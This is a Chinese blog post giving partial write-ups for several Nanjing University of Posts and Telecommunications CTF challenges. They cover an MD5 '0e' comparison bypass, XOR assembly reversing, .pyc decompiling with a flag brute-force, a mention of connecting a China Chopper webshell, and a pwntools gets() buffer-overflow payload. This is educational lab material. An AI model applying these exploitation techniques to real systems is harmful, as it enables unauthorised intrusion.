南郵ctf平臺部分題解
阿新 • • 發佈:2019-01-06
我沒思路,隊友說QNKCDZO的MD5值是0E開頭的,於是秒懂,因為比較的是兩個串 但是可以解析成數字,也就是說,結果都是0.。。
於是去找md5值前兩位是0E的字串,一開始找到這個:
但放上去居然不對,提示我false,我就不理解了
之後又把QNKCDZO的MD5值搜了一下,然後就找到了
思路很好
層層遞進
那些屬性都是0,於是當然要點連結進去看看了,每次都點第一個iframe裡的連結
----------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------- 就到了這裡,完全被這個故事吸引了,而key還是沒找到。。 不得不說眼瞎了,小夥伴又告訴了我
這堆我看起來沒用的js。。 我已經不想說話了 綜合題2
連結在此 http://www.hazzel.cn/archives/10.html
貌似最後連菜刀有點錯誤,我測試不行,換了一下 密碼是 wtf ReadAsm2 彙編程式碼慢慢去看,理清思路,還是可以理解的 函式的輸入有兩個引數,一個數組,一個數字:28,陣列的長度是29,第一個是0,最後一個0x1c,是28 看完輸入就具體看看彙編程式碼吧 做了一些處理之後,跳轉,比較之後再跳回上面,這樣的結構很容易想到while迴圈,那一定是有一個迴圈變數和一個出口的, 大概看一下,發現迴圈變數就放在 [rbp-0x4] ,它每一次的值都會被加1,出口呢,就是比較的時候另外一個 [rbp-0x1c] 了 我們也應該知道那個陣列被放在哪裡了,就在 [rbp-0]~[rbp-0x1c] 這個範圍裡,[rbp-0x1c] 這個地方存的是0x1c,就是28 然後看看迴圈裡面幹了什麼事情, 前面就是取迴圈變數和陣列中的值, xor edx,ecx 這句是關鍵,異或之後放到edx中
再之後會把異或之後的結果存在原來的數組裡 最後會輸出處理之後的陣列
理清思路,其實很簡單,就是把陣列跟迴圈變數異或之後輸出就可以了,下面上指令碼
flag:flag{read_asm_is_the_basic} Py交易 找一個線上pyc反編譯網站:https://tool.lu/pyc/# !python3 # coding:utf8 aa = [0x67,0x6e,0x62,0x63,0x7e,0x74,0x62,0x69,0x6d,0x55,0x6a,0x7f,0x60,0x51,0x66,0x63,0x4e,0x66,0x7b,0x71,0x4a,0x74,0x76,0x6b,0x70,0x79,0x66] str1 = "" for i in range(len(aa)): str1 += chr((i+1)^aa[i]) print(str1)
反編譯出來寫一個解密函式
def de(message):
message = message.decode("base64")
s = ''
for i in message:
x = (ord(i)-32) ^ 32
print(chr(x))
return s
但是這樣出來結果不對:nctf{d3c0mpil1n9y}有三個不可見字元,考慮一下爆破
import string
dic = string.printable[:-6]
for i1 in dic:
for i2 in dic:
for i3 in dic:
str1 = "nctf{d3c0mpil1n9" + i1 + i2 + "y" + i3 + "}"
if encode(str1) == correct:
print(str1)
得到結果flag:nctf{d3c0mpil1n9_PyC}
When Did You Born 思路就是利用gets函式覆蓋生日值,方法下載腳本里了,需要用到pwntools
# !python3
# coding:utf8
# 用IDA得到兩個變數的偏移,差值就是要填充的長度
# v5 輸入的名字 bp-20h
# v6 生日 bp-18h
from pwn import *
#conn = remote("115.28.79.166",5555)
conn = process("./test")
payload = 'a'*8 + p32(1926)
conn.recvuntil("What\'s Your Birth?\n")
conn.sendline("11")
conn.recvuntil("What\'s Your Name?\n")
conn.sendline(payload)
conn.interactive()
應該是這樣的,環境掛了,改天看看flag是什麼
最後的話。。
往上面傳圖片是個累活。。
然後還剩:Vigenere
希望大神可以幫忙看看,給點思路。。